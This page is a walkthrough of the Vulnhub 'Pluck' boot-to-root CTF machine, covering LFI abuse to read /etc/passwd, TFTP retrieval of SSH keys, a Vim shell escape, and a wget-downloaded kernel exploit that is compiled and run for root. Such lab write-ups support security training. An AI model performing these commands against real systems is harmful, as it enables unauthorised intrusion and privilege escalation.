Home News Pluck – Vulnhub CTF Challenge Walkthrough

Pluck – Vulnhub CTF Challenge Walkthrough

by Unallocated Author

Pluck is a Boot2Root CTF Challenge and is available at Vulnhub. This challenge is for “Intermediates” and requires some good enumeration and exploitation skills to get root.

In this walkthrough, I’ll be using Parrot Sec OS but you can use any other Linux distro.

Start the Virtual Machine and its IP will be displayed at the screen. Edit your “/etc/hosts” file to give this IP a domain name.


Run Nmap scan.


An HTTP Server is running. The default webpage is,


There is nothing in the Source code, so run a Nikto scan to see if the server has any vulnerability.


Looking at the output, It has got Local File Inclusion Vulnerability (LFI). Now copy the file path (/etc/passwd) and browse manually in the browser.


At the end of the file “/etc/passwd”, you’ll see a link “/usr/local/scripts/backup.sh”. Use LFI to go to the link


By reading this, we get to know that this Server makes a backup of its files via TFTP and the resultant file is “backup.tar”. Now use TFTP to download this file

tftp pluck.local
get backup.tar


Now extract this file.

tar -xvf backup.tar


This file contains some SSH keys for user “Paul”. Change their permissions and try them one by one.


“id_key4” works only and it opens up a menu.

ssh [email protected] -i id_key4


Go to edit file.


You’ll find yourself in Vim. You can exit to shell from Vim, just type

:set shell=/bin/bash


Now execute the Vim variable by typing



Hit enter and you’ll have a shell.


Now, check the Kernel version.

uname -a


Search exploit DB to check if we have any related exploits.

searchsploit linux 4.8.0


We’ve found some related exploits. Now, let’s download an exploit on Victim machine

wget http://exploit-db.com/download/40616


Compile the exploit.

mv 40616 priv.c
gcc priv.c -o priv -pthread


Execute the exploit to get ROOT.

We have also created a video on this virtual machine:

Want to learn more about ethical hacking?

We have a  networking hacking course that is of a similar level to OSCP, get an exclusive 95% discount HERE


You may also like

Latest Hacking News

Privacy Preference Center


The __cfduid cookie is used to identify individual clients behind a shared IP address and apply security settings on a per-client basis.

cookie_notice_accepted and gdpr[allowed_cookies] are used to identify the choices made from the user regarding cookie consent.

For example, if a visitor is in a coffee shop where there may be several infected machines, but the specific visitor's machine is trusted (for example, because they completed a challenge within your Challenge Passage period), the cookie allows Cloudflare to identify that client and not challenge them again. It does not correspond to any user ID in your web application, and does not store any personally identifiable information.

__cfduid, cookie_notice_accepted, gdpr[allowed_cookies]


DoubleClick by Google refers to the DoubleClick Digital Marketing platform which is a separate division within Google. This is Google’s most advanced advertising tools set, which includes five interconnected platform components.

DoubleClick Campaign Manager: the ad-serving platform, called an Ad Server, that delivers ads to your customers and measures all online advertising, even across screens and channels.

DoubleClick Bid Manager – the programmatic bidding platform for bidding on high-quality ad inventory from more than 47 ad marketplaces including Google Display Network.

DoubleClick Ad Exchange: the world’s largest ad marketplace for purchasing display, video, mobile, Search and even Facebook inventory.

DoubleClick Search: is more powerful than AdWords and used for purchasing search ads across Google, Yahoo, and Bing.

DoubleClick Creative Solutions: for designing, delivering and measuring rich media (video) ads, interactive and expandable ads.



The _ga is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners.

The _gat global object is used to create and retrieve tracker objects, from which all other methods are invoked. Therefore the methods in this list should be run only off a tracker object created using the _gat global variable. All other methods should be called using the _gaq global object for asynchronous tracking.

_gid works as a user navigates between web pages, they can use the gtag.js tagging library to record information about the page the user has seen (for example, the page's URL) in Google Analytics. The gtag.js tagging library uses HTTP Cookies to "remember" the user's previous interactions with the web pages.

_ga, _gat, _gid